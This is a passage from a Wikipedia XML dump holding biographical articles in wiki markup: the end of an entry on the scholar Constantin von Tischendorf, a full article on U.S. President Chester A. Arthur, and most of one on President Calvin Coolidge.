Alongside his industry in collecting and collating manuscripts, Tischendorf pursued a constant course of editorial labours, mainly on the New Testament, until he was broken down by overwork in 1873. He died on [[7 December]] [[1874]] at Leipzig.

Besides his fame as a scholar, he was a friend of both [[Robert Schumann]], with whom he corresponded, and [[Felix Mendelssohn]], who dedicated a song to him. His personal library, purchased after his death, eventually came to the [[University of Glasgow]] [http://special.lib.gla.ac.uk/collection/tischendorf.html], where a commemorative exhibition of books from his library was held in 1974.

==External links==
*[http://www.burgmueller.com/tischendorf_e.html Klaus Zehnder-Tischendorf, &quot;Constantine von Tischendorf&quot; 2002]
*[http://www.gospelcom.net/chi/DAILYF/2003/01/daily-01-18-2003.shtml Constantine von Tischendorf]

==Reference==
*Black, Matthew, and Robert Davidson, ''Constantin von Tischendorf and the Greek New Testament'' Glasgow: University of Glasgow Press, 1981. 
See, in addition to the handbooks on New Testament criticism, Carl Bertheau's article on Tischendorf in Herzog-Hauck, ''Realencyklopädie'' (3rd ed., 1907).

==References==
*{{1911}}

[[Category:Christian texts]]
[[Category:1815 births|Tischendorf, Constantin von]]
[[Category:1874 deaths|Tischendorf, Constantin von]]
[[Category:German theologians|Tischendorf, Lobegott Friedrich Konstantin von]]

[[de:Konstantin von Tischendorf]]
[[id:Konstantin von Tischendorf]]
[[nl:Konstantin von Tischendorf]]
[[pt:Konstantin von Tischendorf]]</text>
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  <page>
    <title>Chester A. Arthur</title>
    <id>6194</id>
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      <comment>rp image</comment>
      <text xml:space="preserve">{{Infobox_President | name=President Chester Alan Arthur
| nationality=american
| image=Chester Alan Arthur.jpg
| order=21st President
| term_start=[[September 19]], [[1881]]
| term_end=[[March 3]], [[1885]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;
| predecessor=[[James A. Garfield]]
| successor=[[Grover Cleveland]]
| birth_date=[[October 5]], [[1829]]
| birth_place=[[Fairfield, Vermont]]
| death_date=[[November 18]], [[1886]]
| death_place=[[New York City, New York]]
| spouse=[[Ellen Lewis Herndon Arthur]]
| party=[[Republican Party (United States)|Republican]]
| vicepresident=None
}}
'''Chester Alan Arthur''' ([[October 5]], [[1829]]&amp;ndash;[[November 18]], [[1886]]) was an [[Politics of the United States|American politician]] who served as the twenty-first [[President of the United States]]. Arthur was a member of the [[Republican Party (United States)|Republican Party]] and worked as a [[Law of the United States|lawyer]] before becoming the 20th [[Vice President of the United States|vice president]] under [[James Garfield]]. Garfield was mortally wounded by [[Charles Guiteau]] on July 2, 1881, and died on September 19, and Arthur became president, serving until March 3, 1885.

Before entering national politics, Arthur had been Collector of Customs for the [[Port of New York Authority|Port of New York]]. He was appointed by [[Ulysses S. Grant]] but was fired by [[Rutherford B. Hayes]], under false suspicion of [[bribery]] and [[Political corruption|corruption]]. A member of the [[Tammany Hall]] [[political machine]], his notable achievements in office as President included [[civil service]] reform and the passage of the [[Pendleton Civil Service Reform Act|Pendleton Act]]. The passage of this legislation earned Arthur the moniker &quot;The Father of Civil Service.&quot; Arthur suffered from [[Bright's disease]] and died of a [[cerebral hemorrhage]], most likely related to a history of [[hypertension]], about a day after being found unconscious by his nurse. 

==Early life and education==
Arthur was born in the town of [[Fairfield, Vermont|Fairfield]] in [[Franklin County, Vermont|Franklin County]], [[Vermont]], on October 5, 1829, although he sometimes claimed to be born in 1830. His parents were William Arthur and Malvina Stone. Political rivals long circulated the rumor that he had been born across the [[United States-Canada border|International Boundary]] in [[Canada]] in hopes of creating doubts as to his eligibility for the presidency (under [[Article Two of the United States Constitution|Article II]] of the [[United States Constitution|U.S. Constitution]] the president must be a natural-born citizen). The rumors were completely untrue. 

Arthur spent some of his childhood years living in [[Perry, New York|Perry]], [[New York]].

Arthur attended the public schools and later was admitted to [[Union College]] in [[Schenectady, New York|Schenectady]], [[New York]]. There he became a member of [[Psi Upsilon]], North America's fifth oldest [[Fraternities and sororities|college fraternity]], and graduated in 1848.

==Pre-political career==
Arthur became principal of North Pownal Academy in [[North Pownal, Vermont|North Pownal]], Vermont in 1851; later he studied law and was admitted to the [[bar (law)|bar]] in 1854. Arthur commenced practice in [[New York City]], where he supported equal rights for [[Black (people)|blacks]] who objected to the [[racial segregation]] of [[Transportation in New York City|city transportation]]. He also took an active part in the reorganization of the state [[militia]].

Arthur married Ellen &quot;Nell&quot; Lewis Herndon on October 25, 1859. In 1860, the couple had a son, William Lewis Herndon Arthur, who was named after Ellen's father. William died at age two of a [[brain disease]]. Another boy, Chester Alan Arthur II, was born in 1864, and a girl, named Ellen Herndon for her mother, in 1871. Ellen died of [[pneumonia]] on January 12, 1880, at the age of 42, only ten months before Arthur was elected vice president. While in the White House, Arthur would not give anyone the place that would have been his wife's. He asked his sister Mary, the wife of John E. McElroy, to assume certain social duties and help care for his daughter.  

During the [[American Civil War]], Arthur served as acting [[quartermaster]] general of the state in 1861 and was widely praised for his service. He was later commissioned as [[inspector general]], and appointed quartermaster general with the rank of [[brigadier general]], and served until 1862. After the war he resumed the practice of law in New York City. With the help of Arthur's patron and [[political boss]] [[Roscoe Conkling]], Arthur was appointed by President Ulysses S. Grant as Collector of the Port of New York from 1871 to 1878.

This was an extremely lucrative and powerful position at the time, and several of Arthur's predecessors had run afoul of the law while serving as collector. Honorable in his personal life and his public career, Arthur nevertheless was a firm believer in the [[spoils system]] even as it was coming under vehement attack from reformers. He insisted upon honest administration of the [[Customs House]], but staffed it with more employees than it really needed, retaining some for their loyalty as party workers rather than for their skill as public servants.

== Presidency 1881-1885 ==
===Assumption of office===
In 1878, Grant's successor, Rutherford B. Hayes attempted to reform the Customs House. He ousted Arthur, who resumed the practice of law in New York City. Conkling and his followers tried to win redress by fighting for the renomination of Grant at the [[1880 Republican National Convention]]. Failing in that, they reluctantly accepted the nomination of Arthur as vice president. 

Arthur was elected vice president on the [[Republican Party (United States)|Republican]] ticket with [[James Garfield]] in the [[U.S. presidential election, 1880|1880 presidential election]]. His term began on March 4, 1881. Upon Garfield's [[assassination]], Arthur became president of the United States on September 19, 1881, and was sworn in the following day.

===Policies===
Avoiding old political cronies, Arthur determined to go his own way once in the [[White House]]. He became a man of fashion in his garb and associates, and often was seen with the elite of [[Washington, D.C.]], New York, and Newport. To the indignation of the [[Stalwarts|Stalwart Republicans]], the onetime Collector of the Port of New York became, as President, a champion of civil service reform. Public pressure, heightened by the assassination of Garfield, forced an unwieldy Congress to heed the President. 

In 1883, Congress passed the [[Pendleton Act]], which established a bipartisan [[Civil Service Commission]], forbade levying political assessments against officeholders, and provided for a &quot;classified system&quot; that made certain Government positions obtainable only through competitive written examinations. The system protected employees against removal for political reasons. 

Acting independently of party dogma, Arthur also tried to lower [[tariff]] rates so the Government would not be embarrassed by annual surpluses of revenue. Congress raised about as many rates as it trimmed, but Arthur signed the [[Tariff Act of 1883]] anyway. Aggrieved Westerners and Southerners looked to the [[Democratic Party (United States)|Democratic Party]] for redress, and the tariff began to emerge as a major political issue between the two parties. 

The Arthur Administration enacted the first general Federal [[immigration law]]. Arthur approved a measure in [[1882]] excluding [[paupers]], criminals, and the mentally ill. Congress also suspended [[Chinese people|Chinese]] immigration for ten years, later making the restriction permanent.  

In 1884, the [[International Meridian Conference]] was held in Washington at President Arthur's behest. This established the [[Prime Meridian|Greenwich Meridian]] which is still in use today.

President Arthur demonstrated that he was above factions within the [[Republican Party (United States)|Republican Party]], if indeed not above the party itself. Perhaps in part his reason was the well-kept secret he had known since a year after he succeeded to the Presidency, that he was suffering from [[Bright's Disease]], a fatal kidney disease (see [[Acting President of the United States Presidential disability prior to 1967]]).

Arthur ran again in the Republican [[Presidential_primary|Presidential Primary]] in [[1884]], but lost the party's nomination to then former  [[Speaker of the United States House of Representatives|Speaker of the House]], [[James G. Blaine]] of Maine.

Publisher Alexander K. McClure wrote, &quot;No man ever entered the Presidency so profoundly and widely distrusted, and no one ever retired...more generally respected.&quot; Author [[Mark Twain]], deeply cynical of politicians, conceded, &quot;It would be hard indeed to better President Arthur's administration.&quot;

=== Significant events during presidency ===
* [[Standard Oil]] founded ([[1882]])
* [[Chinese Exclusion Act (United States)|Chinese Exclusion Act]] (1882)
* [[Pendleton Civil Service Reform Act]] ([[1883]])
* [[Civil Rights Cases]] (1883)

===Administration and Cabinet=== 
[[Image:Chester A. Arthur - Project Gutenberg eText 13632.png|thumbnail|left|250px|'''Chester A. Arthur''']]

{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''Chester A. Arthur'''||align=&quot;left&quot;|1881&amp;ndash;1885
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|''None''||align=&quot;left&quot;|1881&amp;ndash;1885
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[F. T. Frelinghuysen]]'''||align=&quot;left&quot;|1881&amp;ndash;1885
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[Charles J. Folger]]'''||align=&quot;left&quot;|1881&amp;ndash;1884
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Walter Q. Gresham]]'''||align=&quot;left&quot;|1884
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Hugh McCulloch]]'''||align=&quot;left&quot;|1884&amp;ndash;1885
|-
|align=&quot;left&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[Robert T. Lincoln]]'''||align=&quot;left&quot;|1881&amp;ndash;1885
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Attorney General]]||align=&quot;left&quot;|'''[[Benjamin H. Brewster]]'''||align=&quot;left&quot;|1881&amp;ndash;1885
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[Timothy O. Howe]]'''||align=&quot;left&quot;|1881&amp;ndash;1883
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Walter Q. Gresham]]'''||align=&quot;left&quot;|1883&amp;ndash;1884
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Frank Hatton]]'''||align=&quot;left&quot;|1884&amp;ndash;1885
|-
|align=&quot;left&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[William H. Hunt]]'''||align=&quot;left&quot;|1881&amp;ndash;1882
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William E. Chandler]]'''||align=&quot;left&quot;|1882&amp;ndash;1885
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Secretary of the Interior]]||align=&quot;left&quot;|'''[[Samuel J. Kirkwood]]'''||align=&quot;left&quot;|1881&amp;ndash;1882
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Henry M. Teller]]'''||align=&quot;left&quot;|1882&amp;ndash;1885
|}
&lt;br clear=&quot;all&quot;&gt;

===Supreme Court Appointments===
*[[Samuel Blatchford]] - 1882
*[[Horace Gray]] - 1882

Confirmed Supreme Court Appointment, but declined to take office
*[[Roscoe Conkling]] - 1882

===Social and personal life===
Arthur is remembered as one of the most society-conscious presidents, earning the nickname &quot;the Gentleman Boss&quot; for his style of dress and courtly manner.    

Upon taking office, Arthur did not move into the [[White House]] immediately. He insisted upon its redecoration and had 24 wagonloads of furniture, some including pieces dating back to [[John Adams|John Adams's]] term, carted away and sold at public auction, and Arthur commissioned [[Louis Comfort Tiffany]] to replace them with new pieces. A famous designer now best-known for his [[stained glass]], Tiffany was among the foremost designers of the day and among his clients included [[Mark Twain]].{{ref|Tiffany}}

Arthur was a [[fisherman]] who belonged to the Restigouche Salmon Club and once reportedly caught an 80-pound [[bass (fish)|bass]] off the coast of [[Rhode Island]].

Widely popular by the end of his presidency, four young women (ignorant of Arthur's pronouncement that he would never marry again) proposed to him on the day he left office. He was sometimes called &quot;Elegant Arthur&quot; for his commitment to fashionable attire and was said to have &quot;looked like a president.&quot; He reportedly kept 80 pairs of pants in his wardrobe, and changed pants several times a day. He was called &quot;Chet&quot; by family and friends and his middle name with the stress on the second syllable (&quot;Al-AN&quot;).

== Post presidency ==
Arthur served as president through [[March 3]], [[1885]]. Upon leaving office, he returned to New York City where he died of a massive [[cerebral hemorrhage]] at 5:10 a.m. on Thursday [[November 18]], [[1886]], at the age of 57.  His time as a [[List of U.S. Presidents by time as former president|former president]] was the second shortest, longer only than that of [[James Knox Polk|James Polk]].

Chester was buried next to Ellen in the Arthur family plot in the [[Albany Rural Cemetery]] in [[Albany, New York]], in a large sarcophagus on a large corner plot that contains the graves of many of his family members and ancestors.

==Notes==
&lt;div style=&quot;font-size: 80%&quot;&gt;
#{{note|Tiffany}} Mitchell, Sarah E. &quot;Louis Comfort Tiffany's work on the White House.&quot; 2003.&lt;sup&gt;[http://www.vintagedesigns.com/fam/wh/tiff/]&lt;/sup&gt; 
&lt;/div&gt;

== External links ==
{{wikiquote}}
{{Wikisource author}}
*[http://www.usa-presidents.info/union/arthur-1.html First State of the Union Address of Chester A. Arthur]
*[http://www.usa-presidents.info/union/arthur-2.html Second State of the Union Address of Chester A. Arthur]
*[http://www.usa-presidents.info/union/arthur-3.html Third State of the Union Address of Chester A. Arthur]
*[http://www.usa-presidents.info/union/arthur-4.html Fourth State of the Union Address of Chester A. Arthur]
*[http://www.whitehouse.gov/history/presidents/ca21.html White House Biography]
*[http://www.doctorzebra.com/prez/g21.htm Medical and Health history of Chester A. Arthur]
*{{gutenberg author | id=Chester_Alan_Arthur | name=Chester Alan Arthur}}

{{start box}}
{{succession box |
 title=[[List of United States Republican Party presidential tickets|Republican Party Vice Presidential candidate]] |
 before=[[William A. Wheeler]] |
 after=[[John A. Logan]]|
 years=[[U.S. presidential election, 1880|1880]] (won)
}}
{{succession box|
  title=[[Vice President of the United States]]|
  before=[[William A. Wheeler]]|
  after=[[Thomas A. Hendricks]]|
  years=[[March 4]], [[1881]] &amp;ndash; [[September 19]], [[1881]]&lt;sup&gt;(a)&lt;/sup&gt;
}}
{{succession box|
  title=[[President of the United States]]|
  before=[[James A. Garfield]]|
  after=[[Grover Cleveland]]|
  years=[[September 19]], [[1881]]&lt;sup&gt;(b)&lt;/sup&gt; &amp;ndash; [[March 3]], [[1885]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;| }}
{{succession footnote|
  marker=&lt;sup&gt;(a)&lt;/sup&gt;|
  footnote=President Garfield died on September 19.}}
{{succession footnote|
  marker=&lt;sup&gt;(b)&lt;/sup&gt;|
  footnote=Arthur took the oath of office on September 20.}}
{{end box}}
{{USpresidents}}
{{US Vice Presidents}}
{{USRepVicePresNominees}}

[[Category:1830 births|Arthur, Chester A.]]
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[[Category:People from Vermont|Arthur, Chester A.]]
[[Category:Presidents of the United States|Arthur, Chester A.]]
[[Category:Scottish-Americans|Arthur, Chester A.]]
[[Category:Republican Party (United States) vice presidential nominees|Arthur, Chester A.]]
[[Category:Union College, New York alumni|Arthur, Chester A.]]
[[Category:Vice Presidents of the United States|Arthur, Chester A.]]
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  </page>
  <page>
    <title>Calvin Coolidge</title>
    <id>6195</id>
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      <text xml:space="preserve">{{Infobox_President | name=President John Calvin Coolidge, Jr.
| nationality=american
| image=Calvin Coolidge photo portrait head and shoulders.jpg
| order=30th President
| term_start=[[August 2]], [[1923]]
| term_end=[[March 3]], [[1929]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;
| predecessor=[[Warren G. Harding]]
| successor=[[Herbert Hoover]]
| birth_date=[[July 4]], [[1872]]
| birth_place=[[Plymouth, Vermont]]

| death_date=[[January 5]], [[1933]]
| death_place=[[Northampton, Massachusetts]]
| spouse=[[Grace Coolidge|Grace Goodhue Coolidge]]
| party=[[United States Republican Party|Republican]]
| vicepresident=[[Charles G. Dawes]]
}}

'''John Calvin Coolidge, Jr.''' ([[July 4]], [[1872]] &amp;ndash; [[January 5]], [[1933]]) was the twenty-ninth [[Vice President of the United States|Vice President]] (1921-1923) and the 30th [[President of the United States]] (1923-1929), succeeding to that office upon the death of [[Warren G. Harding]].

==Biography==
John Calvin Coolidge Jr. was born in [[Plymouth, Vermont|Plymouth]], [[Windsor County, Vermont|Windsor County]], [[Vermont]] on [[July 4]], [[1872]] to John Calvin Coolidge, Sr. and Victoria Moor. Coolidge was the only president to be born on the 4th of July (Independence Day). He dropped ''John'' from his name upon graduating from college.  He attended [[Amherst College]], in [[Massachusetts]], where he became a member of the Phi Gamma Delta fraternity, and graduated in 1895. He practiced law in [[Northampton, Massachusetts]], and was a member of the city council in 1899, city solicitor from 1900-1902, clerk of courts in 1904, and representative from 1907-1908. In 1905, Coolidge married Grace Anna Goodhue. They were complete opposites personality-wise: she was talkative and fun-loving, and Coolidge was quiet and serious. Not long after their marriage Coolidge handed her a bag with 52 pairs of socks in it, all of them full of holes. Grace's reply was &quot;Did you marry me to darn your socks?&quot; Without cracking a smile and with his usual seriousness, Calvin answered, &quot;No, but I find it mighty handy.&quot; &lt;ref&gt; [http://www.drafthorsejournal.com/daysbeforeyesterday/autumn01/75yearsago/75yearsago.htm Drafthorse Journal] - 2001 &lt;/ref&gt;
The couple had two children named [[John Coolidge|John]] and Calvin.

Coolidge was elected mayor of Northampton in [[1910]] and 1911, was a member of the State senate 1912-1915, serving as president of that body in 1914 and 1915. He was [[lieutenant governor]] of the state from 1916-1918, and [[List of Governors of Massachusetts|Governor]] from 1919-1920. In 1919, Coolidge gained national attention when he ordered the Massachusetts [[United States National Guard|National Guard]] to forcefully end the [[Boston Police Department]] strike. He later wrote to labor leader [[Samuel Gompers]], &quot;there is no right to strike against the public safety by anybody, anywhere, anytime.&quot; &lt;ref&gt; [http://www.americanpresident.org/history/calvincoolidge/ American President - Calvin Coolidge]&lt;/ref&gt; &lt;ref&gt;[http://ap.grolier.com/article?assetid=0071560-0&amp;templatename=/article/article.html Grolier Multimedia Encyclopedia] - Calvin Coolidge &lt;/ref&gt;

==Presidency 1923-1929==
===Assumption===
Coolidge made a half-hearted effort to secure the [[United States Republican Party|Republican]] [[United States President|presidential]] nomination in 1920, losing to  [[Senator]] [[Warren G. Harding]] of [[Ohio]]. Party leaders wanted to nominate [[Wisconsin]] [[Senator]] [[Irvine Lenroot]] for [[United States Vice President|vice president]]. However, convention delegates stampeded and nominated Coolidge. The Harding-Coolidge ticket won handily against [[Governor of Ohio|Ohio Governor]] [[James M. Cox]] and [[Assistant Secretary of the Navy]] [[Franklin D. Roosevelt]] in a [[Landslide victory|landslide]], 60.36 to 34.19 percent (404 to 127 in the [[United States Electoral College|electoral college]]).

[[Image:Calvin Coolidge, Mrs. Coolidge and Senator Curtis.jpg|left|thumb|250px|[[President]] Coolidge, his wife Grace &amp;  [[List of United States Senators from Kansas|Kansas senator]] [[Charles Curtis]] on their way to the Capitol building on inauguration day, [[March 4]], [[1925]].]]
Harding was inaugurated on [[March 4]], [[1921]], and served until [[August 2]], [[1923]]. Upon Harding's death, Coolidge became President on August 2, 1923. Coolidge was visiting at the family home, still without [[electricity]] or [[telephone]], when he got word of Harding's death. His father, a [[notary public]], administered the oath of office in the family's parlor by the light of a [[kerosene]] lamp at 2:47 am 3rd August 1923; Coolidge was resworn by [[Chief Justice of the United States|Chief Justice]] [[William Howard Taft]] upon his return to [[Washington, D.C.]]
*Note: Warren G. Harding died in California, August 2nd (PST),
Calvin Coolidge was in Vermont, the morning of August 3rd (EST).

===&quot;Silent Cal&quot;===

It is said that a White House dinner guest once made a bet with her friends that she could get the president to say at least three words during the course of the meal. Upon telling Coolidge of her wager, he replied simply with the words &quot;You lose.&quot; &lt;ref&gt; [http://www.midtermpapers.com/18832.htm &quot;Silent Cal&quot;] &lt;/ref&gt; However, another one of Coolidge's dinner guests had this to say &quot;I cannot help feeling that persons who complained about his silence as a dinner partner never really tried to get beyond trivialities to which he did not think it worth while to respond.&quot;

Before his election in [[1924]], Coolidge's younger son, Calvin, Jr., contracted a blister from playing tennis on the [[White House]] courts. The blister became infected, and Calvin, Jr. died. After that, Coolidge, a man of few words who had already earned the nickname &quot;Silent Cal,&quot; became more withdrawn. People who knew the President said he never fully recovered from his son's death. He said that &quot;when he died, the glory of the Presidency went with him.&quot; 

===Policies===

[[Image:Coolidge.jpg|right|thumbnail|250px|Coolidge, reporters, and cameramen]]

Even though Coolidge was said to be somewhat tight-lipped, he delivered more speeches than any other president up to that time. Making use of the new medium of [[radio]], he delivered an address about once a month. He also managed to hold 520 press conferences, averaging 7.8 per month, somewhat higher than [[Franklin D. Roosevelt]] who averaged about 6.9. &lt;ref&gt; [http://www.jfklibrary.org/coolidge_morrissey.html The Many Myths of Calvin Coolidge] - Charles T. Morrissey, 1978, [[John F. Kennedy Library and Museum]] &lt;/ref&gt; Coolidge's press conferences, however, reflected his reticent personality with a vengeance. [[Louis Lyons]], a Washington newsman in the 1920s and later an official of Harvard's [[Nieman Foundation for Journalism]], recalled that Coolidge required all questions to be submitted in advance, written on slips of paper. When reporters were admitted to his office, he would go through the slips, discarding any he had no desire to address. Occasionally, he would flip through the entire stack and announce, &quot;I have no questions today.&quot; The reporters were not allowed to quote him directly, or even to attribute his remarks to &quot;a White House spokesman.&quot; It was nothing like today's open, sometimes disputatious press conferences. &lt;ref&gt; [http://www.nieman.harvard.edu/reports/99-4_00-1NR/Lyons_Calvin.html Calvin Coolidge and the Press] - Louis M. Lyons, September 1964, [[The Nieman Foundation for Journalism]] at [[Harvard University]] &lt;/ref&gt;

He was easily elected President of the United States in his own right in [[United_States_presidential_election%2C_1924|1924]]. Coolidge made use of the new medium of radio and made radio history several times while president: his [[inauguration]] was the first presidential inauguration broadcast on radio; on [[February 12]], [[1924]] he became the first President of the United States to deliver a political speech on radio and on [[February 22]] he also became the first to deliver such a speech from the [[White House]].   

[[Image:Coolidge public address.jpg|left|thumb|250px|Coolidge addressing a crowd at [[Arlington National Cemetery]] in [[1924]].]]

Coolidge was the last President of the United States who did not attempt to intervene in [[free market]]s, letting [[business cycle]]s run their course. During his Presidency, the United States experienced a wildly successful period of economic growth: the so-called &quot;[[Roaring Twenties]].&quot; Coolidge not only lowered taxes, but also reduced the [[national debt]].

Although some later commentators have dismissed Coolidge as a doctrinaire, [[laissez-faire]] ideologue, historian Robert Sobel offers some context based on Coolidge's sense of [[federalism]]: &quot;As Governor of Massachusetts, Coolidge supported wages and hours legislation, opposed [[child labor]], imposed economic controls during [[World War I]], favored safety measures in factories, and even worker representation on corporate boards. Did he support these measures while president? No, because in the 1920s, such matters were considered the responsibilities of state and local governments.&quot; &lt;ref&gt; [http://www.jfklibrary.org/coolidge_sobel.html Coolidge and American Business] - Robert Sobel, [[John F. Kennedy Library and Museum]] &lt;/ref&gt;

A notable foreign-affairs initiative of the Coolidge administration was the [[Kellogg-Briand Pact]] of 1928, named for Coolidge's Secretary of State, [[Frank Kellogg]], and for [[France|French]] foreign minister [[Aristide Briand]]. The treaty, ratified in 1929, committed signatories including the U.S., the [[United Kingdom]], [[France]], [[Germany]], [[Italy]], and [[Japan]] to &quot;renounce [[war]], as an instrument of national policy in their relations with one another.&quot; &lt;ref&gt; [http://www.yale.edu/lawweb/avalon/kbpact/kbpact.htm Kellogg-Briand Pact 1928] - The Avalon Project, [[Yale University]] &lt;/ref&gt;

Coolidge did not seek renomination; he announced his decision with typical terseness: &quot;I do not choose to run for President in [[1928]].&quot; After leaving office, he and wife Grace returned to Northampton, Mass., where his political career had begun.

=== Major presidential acts ===
*Signed [[Immigration Act of 1924]]
*Signed [[Revenue Act of 1924]]
*Signed [[Revenue Act of 1926]]
*Signed [[Radio Act of 1927]]
*Signed [[Revenue Act of 1928]]

===Administation and Cabinet===
[[Image:Coolidge after signing indian treaty.jpg|right|thumb|250px|On [[June 2]], [[1924]], President Coolidge had signed a bill granting [[Native Americans in the United States|Native American]]s full U.S. [[citizenship]].  Coolidge is shown above on [[October 22]], [[1924]] holding a ceremonial hat given to him by the [[Smoki]] Indian tribe of [[Prescott, Arizona]].]]
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;middle&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''Calvin Coolidge'''||align=&quot;left&quot;|1923&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|''None''||align=&quot;left&quot;|1923&amp;ndash;1925
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Charles G. Dawes]]'''||align=&quot;left&quot;|1925&amp;ndash;1929
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;middle&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[Charles Evans Hughes]]'''||align=&quot;left&quot;|1923&amp;ndash;1925
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Frank B. Kellogg]]'''||align=&quot;left&quot;|1925&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[Andrew Mellon]]'''||align=&quot;left&quot;|1923&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[John W. Weeks]]'''||align=&quot;left&quot;|1923&amp;ndash;1925
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Dwight F. Davis]]'''||align=&quot;left&quot;|1925&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[Attorney General of the United States|Attorney General]]||align=&quot;left&quot;|'''[[Harry M. Daugherty]]'''||align=&quot;left&quot;|1923&amp;ndash;1924
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Harlan F. Stone]]'''||align=&quot;left&quot;|1924&amp;ndash;1925
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[John G. Sargent]]'''||align=&quot;left&quot;|1925&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[Harry S. New]]'''||align=&quot;left&quot;|1923&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[Edwin Denby]]'''||align=&quot;left&quot;|1923&amp;ndash;1924
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Curtis D. Wilbur]]'''||align=&quot;left&quot;|1924&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[United States Secretary of the Interior|Secretary of the Interior]]||align=&quot;left&quot;|'''[[Hubert Work]]'''||align=&quot;left&quot;|1923&amp;ndash;1928
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Roy O. West]]'''||align=&quot;left&quot;|1928&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[United States Secretary of Agriculture|Secretary of Agriculture]]||align=&quot;left&quot;|'''[[Henry Cantwell Wallace|Henry C. Wallace]]'''||align=&quot;left&quot;|1923&amp;ndash;1924
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Howard M. Gore]]'''||align=&quot;left&quot;|1924&amp;ndash;1925
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William M. Jardine]]'''||align=&quot;left&quot;|1925&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[United States Secretary of Commerce|Secretary of Commerce]]||align=&quot;left&quot;|'''[[Herbert Hoover]]'''||align=&quot;left&quot;|1923&amp;ndash;1928
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William F. Whiting]]'''||align=&quot;left&quot;|1928&amp;ndash;1929
|-
|align=&quot;middle&quot;|[[United States Secretary of Labor|Secretary of Labor]]||align=&quot;left&quot;|'''[[James J. Davis]]'''||align=&quot;left&quot;|1923&amp;ndash;1929
|}
&lt;br clear=&quot;all&quot;&gt;

===Supreme Court appointments===
Coolidge appointed the following Justice to the [[Supreme Court of the United States]]:

* [[Harlan Fiske Stone]] - 1925

==Retirement and death==
In his post-White House years, Coolidge served as chairman of the non-partisan [[Railroad Commission]], as honorary president of the [[Foundation of the Blind]], as a director of [[New York Life Insurance Company]], as president of the [[American Antiquarian Society]], and as a trustee of Amherst College. &lt;ref&gt; [http://www.vermonthistory.org/arccat/findaid/coolidge.htm Coolidge Family Papers, 1802-1932] - Vermont Historical Society Library &lt;/ref&gt; Coolidge received an honorary LL.D. from [[Bates College]] in Lewiston, Maine.

